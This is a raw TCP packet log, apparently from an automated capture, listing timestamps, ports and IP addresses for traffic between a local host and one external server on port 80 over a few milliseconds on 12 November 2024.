Nov 12, 2024 21:21:45.680665970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680675030 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.680679083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680692911 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680705070 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680706978 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.680716991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680730104 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.680737019 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680741072 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.680756092 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680768013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680768967 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.680783987 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680797100 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.680802107 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680814028 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680814981 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.680826902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680840015 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680841923 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.680851936 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680855036 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.680865049 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680877924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680890083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680890083 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.680902958 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680906057 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.680916071 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680922031 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.680927992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680939913 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680952072 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680953979 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.680963993 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680975914 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.680979013 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.680993080 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.680996895 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681010962 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681015968 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681026936 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681041002 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681044102 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681052923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681065083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681071043 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681083918 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681088924 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681097031 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681109905 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681114912 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681122065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681133986 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681143999 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681149006 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681162119 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681163073 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681171894 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681179047 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681184053 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681195974 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681206942 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681210041 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681220055 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681225061 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681237936 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681250095 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681257963 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681263924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681277990 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681279898 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681288958 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681298971 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681301117 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681313992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681325912 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681329966 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681339025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681344032 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681351900 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681365013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681377888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681387901 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681396961 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681404114 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681408882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681421995 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681431055 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681435108 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681447983 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681454897 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681459904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681473017 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681477070 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681485891 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681497097 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681497097 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681510925 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681521893 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681526899 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681538105 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681555033 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681555986 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681569099 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681572914 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681581020 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681593895 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681602001 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681607962 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681619883 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681628942 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681638002 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681647062 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681652069 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681664944 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681668043 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681678057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681689978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681700945 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681705952 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681706905 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681715012 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681726933 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681730032 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681739092 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681742907 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681751013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681757927 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681765079 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681778908 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681787014 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681790113 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681803942 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681816101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681818008 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681828976 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681833982 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681850910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681854963 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681868076 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681874990 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681879044 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681891918 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681894064 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681904078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681915998 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681925058 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681927919 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681941032 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681955099 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681956053 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681967974 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681976080 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.681988001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.681997061 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682001114 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682013988 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682027102 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682029963 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682039022 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682053089 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682054996 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682065964 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682074070 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682080030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682099104 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682100058 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682111979 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682116032 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682125092 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682137966 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682143927 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682149887 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682163954 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682169914 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682176113 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682184935 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682188988 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682203054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682209015 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682215929 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682228088 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682236910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682241917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682254076 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682256937 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682267904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682276011 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682281017 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682306051 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682310104 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682322025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682323933 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682334900 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682347059 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682358980 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682359934 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682373047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682375908 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682387114 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682399035 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682403088 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682410955 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682424068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682427883 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682455063 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682611942 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682622910 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682635069 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682641983 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682646990 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682661057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682667971 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682672024 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682684898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682698965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682701111 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682717085 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682718039 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682730913 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682734013 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682744026 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682755947 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682755947 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682769060 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682770967 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682780981 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682794094 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682796955 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682806015 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682820082 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682822943 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682832003 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682843924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682847977 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682856083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682868958 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682873011 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682885885 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682889938 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682904005 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682909012 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682919025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682933092 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682935953 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682944059 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682956934 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682961941 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682967901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682982922 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.682988882 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682988882 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.682997942 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.683010101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.683012962 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.683022022 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.683027983 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.683036089 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.683048964 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.683052063 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.683060884 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.683072090 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.683079004 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.683084965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.683095932 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.683098078 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.683109999 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.683116913 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.683123112 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.683136940 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.683142900 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.683151007 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.683171034 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.683187008 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.683218956 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.683307886 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684243917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684284925 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684297085 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684309006 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684317112 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684336901 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684413910 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684425116 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684437990 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684451103 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684458017 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684464931 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684477091 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684478045 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684497118 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684525013 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684576035 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684587955 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684598923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684612036 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684612989 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684624910 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684632063 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684643030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684655905 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684657097 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684668064 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684673071 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684680939 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684696913 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684700966 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684715033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684722900 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684726954 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684741974 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684746027 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684755087 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684768915 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684776068 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684779882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684784889 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684794903 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684807062 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684811115 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684818983 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684833050 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684835911 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684845924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684853077 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684858084 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684875965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684880972 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684885025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684896946 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684906006 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684910059 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684923887 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684925079 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684936047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.684940100 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684940100 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.684947014 CET	80	49762	185.215.113.16	192.168.2.4
